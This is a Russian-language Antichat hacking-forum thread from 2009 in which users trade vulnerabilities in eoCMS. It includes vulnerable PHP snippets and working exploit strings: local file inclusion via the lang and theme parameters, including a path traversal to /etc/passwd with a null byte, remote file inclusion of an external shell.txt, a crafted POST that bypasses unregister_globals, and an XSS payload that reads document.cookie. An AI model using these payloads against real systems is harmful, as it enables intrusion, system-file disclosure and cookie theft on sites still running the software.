Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости eoCMS (https://forum.antichat.xyz/showthread.php?t=148056)

HAXTA4OK 13.10.2009 20:25

Уязвимости eoCMS
 
Офф сайт: _http://eocms.com/

LFI


В файле Index.php
PHP код:

if(defined('COOKIE_LANG'))
    
$lang_path COOKIE_LANG;
if(isset(
$settings['site_lang']))
    
$lang_path $settings['site_lang'];
if(isset(
$user['lang']))
    
$lang_path $user['lang'];
if(isset(
$_GET['lang']))
    
$lang_path $_GET['lang'];
if(!isset(
$lang_path))
    
$lang_path 'en';
# include actual language files
include_once(IN_PATH.'language/' $lang_path '/' $lang_file);
include_once(
IN_PATH.'language/' $lang_path '/functions.php');
include_once(
IN_PATH.'language/' $lang_path '/panel.php'); 

_http://eocms.com/index.php?lang='
ЗЫ да со скулями поторопился

gisTy 14.10.2009 19:48

Цитата:

Сообщение от HAXTA4OK
...

слушай, а ты пробовал использовать те дыры что нашел? и в какой версии eoCMS ты их нашел? так как сообщение было написано вчера, то я думаю, что это была версия v0.9.01. а если я прав то как бы вот кусок кода из framewok.php (он инклудится в самом начале index.php)
PHP код:

  /************************
   ** Clean superglobals **
   ************************/
function Sanitize($data_to_sanitize) {
    if (
get_magic_quotes_gpc())
        
$data_to_sanitize stripslashes($data_to_sanitize); 
    
$data_to_sanitize htmlspecialchars($data_to_sanitizeENT_QUOTES);
    
$data_to_sanitize addslashes($data_to_sanitize);
    return 
$data_to_sanitize;
}
function 
Sanitize_Array($value) {
    
$value is_array($value) ? array_map('Sanitize_Array'$value) : Sanitize($value);
    return 
$value;
}
$_POST array_map('Sanitize_Array'$_POST);
$_GET array_map('Sanitize_Array'$_GET);
$_COOKIE array_map('Sanitize_Array'$_COOKIE);
$_REQUEST array_map('Sanitize_Array'$_REQUEST);
$_SERVER array_map('Sanitize_Array'$_SERVER);
$_FILES array_map('Sanitize_Array'$_FILES); 


HAXTA4OK 14.10.2009 20:18

Цитата:

Сообщение от gisTy
где именно? там максимум чего можно добиться через то, что ты выложил- это Full Path Disclosure (раскрытие путей)

ну извени если там null- byte не канает и для тебя ошибка

Warning: include_once() [function.include]: Failed opening '/home/garbages/public_html/eocms.com/language/jhgj\0//Pages.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/garbages/public_html/eocms.com/index.php on line 118

это тока раскрытие путей тогда я не знаю.....

PS то что выкладывал скули , они есть но вот реализовать их либо тяжело .либо ни как, пока не пытался :)

Spyder 16.10.2009 01:47

Remote File Inclusion
Требования: register_globals = on
Файл: js/bbcodepress/bbcode-form.php

PHP код:

include_once($BBCODE_path 'bbcodepress/bbcodepress-lite.php'); 

www.example.com/js/bbcodepress/bbcode-form.php?BBCODE_path=http://www.site.com/shell.txt?

(Dm) 16.10.2009 03:42

Вот ещё чуть:
---------------------------------------
Бага: обход unregister_globals и раскрытие пути
Условия: register_globals = ON

>> framework.php

PHP код:

function unregister_globals(){

#checks if register globals is on

    
if (!ini_get('register_globals')){

        return 
false;

    }

    foreach (
func_get_args() as $name){

        foreach (
$GLOBALS[$name] as $key=>$value){
            if (isset(
$GLOBALS[$key])) {

                unset(
$GLOBALS[$key]);

            }        
        }

    }

}
unregister_globals('_POST''_GET''_COOKIE''_REQUEST''_SERVER''_ENV''_FILES''_SESSION'); 

В результате все перменные посланные данными методами удаляются из GLOBALS;
Но если сделать запрос:

Код:

POST /index.php?antichat=test HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

_GET=this del&_REQUEST=this del

Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить)


-------------------------------
Бага: LFI
Условия: magic_quites = Off

>> framework.php

PHP код:

if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php'))

    
$settings['site_theme'] = $_GET['theme'];

~~~~~~~~~~~~~~~~~~~~

function 
theme() {

   global 
$user$settings;

   
$arg func_get_args();

   
$num func_num_args();

   if(
file_exists('themes/' $settings['site_theme'] . '/functions/'.$arg[0].'.php'))

       include_once 
IN_PATH.'themes/' $settings['site_theme'] . '/functions/'.$arg[0].'.php'

Этот код выполняется до того как переменные обрабатываются через addslashes

exploit:
http://eocms/index.php?theme=../../../../../../../etc/passwd%00

------------------------------

Бага: XSS
Условия: register_globals = ON

exploit:
Код:

POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

_GET=this del&_REQUEST=this del



Время: 16:06